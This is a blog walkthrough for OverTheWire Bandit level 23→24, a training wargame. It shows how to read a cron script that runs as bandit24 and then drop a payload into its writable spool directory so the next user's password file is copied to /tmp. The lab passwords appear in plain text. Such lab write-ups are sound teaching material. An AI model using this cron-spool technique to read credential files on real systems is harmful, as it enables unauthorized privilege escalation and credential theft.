Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Bandit Level 23 → 24 tutorial!!

Login

Log in as bandit23 using the password you obtained from Level 22 → 23.

ssh bandit23@bandit.labs.overthewire.org -p 2220
# password: 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga

Why? Each Bandit level is a separate UNIX user. To solve 23 → 24, you must be the bandit23 user.

Task

Task

A cron job runs as bandit24. Read its config and script. If it executes files from a writable directory, drop a tiny script there that prints the password for bandit24 to a place you can read.

A little bit of Theory

  • Cron entries live in /etc/cron.d/ and point to scripts/binaries.
  • In this level, the script iterates a spool folder and executes every file it finds, then deletes it.
  • Your payload executes as bandit24, so it can cat /etc/bandit_pass/bandit24 for you.

Further reading:

Solution

  1. List cron definitions

    ls -l /etc/cron.d
    

    Why? Find the file for this level: cronjob_bandit24.

    cron dir

  2. Read the cron file

    cat /etc/cron.d/cronjob_bandit24
    

    You should see it runs as bandit24 and calls /usr/bin/cronjob_bandit24.sh every minute.

    cron file

  3. Open the referenced script (note the spool path & owner check)

    cat /usr/bin/cronjob_bandit24.sh
    

    In my run it shows (abridged):

    myname=$(whoami)                     # bandit24
    cd /var/spool/$myname/foo
    for i in * .*; do
      if [ "$i" != "." -a "$i" != ".." ]; then
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
          timeout -s 9 60 ./$i
        fi
        rm -f ./$i
      fi
    done
    

    Why? Payloads must be placed in /var/spool/bandit24/foo and be owned by bandit23 (which happens automatically if you copy them as bandit23).

    script

  4. Create a payload that writes the password to /tmp

    WORKDIR=$(mktemp -d)
    cat > "$WORKDIR/getpass.sh" << 'EOF'
    
     \#!/bin/bash
     cat /etc/bandit\_pass/bandit24 > /tmp/b24\_pass.txt
     chmod 644 /tmp/b24\_pass.txt
     EOF
     chmod +x "\$WORKDIR/getpass.sh"
    
    

    Why? Simple, robust, world-readable output.

  5. Drop the payload into the spool directory (the foo subdir!)

     SPOOL="/var/spool/bandit24/foo"
     ls -ld "$SPOOL"            # sanity-check
     cp "$WORKDIR/getpass.sh" "$SPOOL/"
    

    Why? The cron will pick it up within a minute, execute it as bandit24, then remove it.

    cat

  6. Read the password produced by the payload

    cat /tmp/b24_pass.txt
    

    Why? That file contains the password for bandit24.

    read

  7. Log in to the next level (bandit24)

    exit
    ssh bandit24@bandit.labs.overthewire.org -p 2220
    # paste the password from /tmp/b24_pass.txt
    

Password

This is the password shown in my run; copy the one from your terminal if it differs.

gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

Troubleshooting

  • Wrong directory → Use /var/spool/bandit24/foo, not just /var/spool/bandit24.
  • Not executed → Ensure the file is regular and executable (chmod +x), and that owner = bandit23 (automatic when you copy as bandit23).
  • No output / file missing → Wait up to 60s; cron deletes payloads after running. Choose a unique output filename in /tmp if needed.
  • Timeout → The script uses timeout 60. Keep your payload tiny and fast.

Copy-paste quick run (one shot)

# Inspect cron & script
cat /etc/cron.d/cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh

# Drop payload into the correct spool subdir
SPOOL=/var/spool/bandit24/foo
WORKDIR=$(mktemp -d)
cat > "$WORKDIR/getpass.sh" << 'EOF'
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/b24_pass.txt
chmod 644 /tmp/b24_pass.txt
EOF
chmod +x "$WORKDIR/getpass.sh"
cp "$WORKDIR/getpass.sh" "$SPOOL/"

# After ≤60s:
cat /tmp/b24_pass.txt

Congrats 🎉 You abused a cron-executed spool to run your own code as the next user — welcome to bandit24!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with